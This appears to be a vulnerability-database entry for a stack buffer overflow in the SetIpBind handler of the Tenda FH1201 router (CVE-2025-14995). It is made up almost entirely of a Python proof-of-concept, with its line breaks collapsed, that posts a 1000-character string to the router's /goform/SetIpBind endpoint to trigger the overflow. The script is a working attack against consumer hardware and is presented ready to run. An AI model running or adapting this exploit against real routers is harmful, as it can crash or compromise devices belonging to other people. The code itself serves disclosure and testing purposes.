Tenda FH1201路由器SetIpBind函数栈缓冲区溢出漏洞

import requests # CVE-2025-14995 PoC - Tenda FH1201 SetIpBind Buffer Overflow # Target: Tenda FH1201 router # Vulnerability: Stack-based buffer overflow in /goform/SetIpBind target_ip = "192.168.0.1" # Default router IP target_url = f"http://{target_ip}/goform/SetIpBind" # Generate payload with long string to overflow buffer # Adjust length based on target firmware analysis overflow_length = 1000 overflow_payload = "A" * overflow_length # Construct malicious request data = { "page": overflow_payload, "submit": "submit" } try: print(f"[*] Sending exploit to {target_url}") response = requests.post(target_url, data=data, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Exploit sent. Check if router is vulnerable.") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")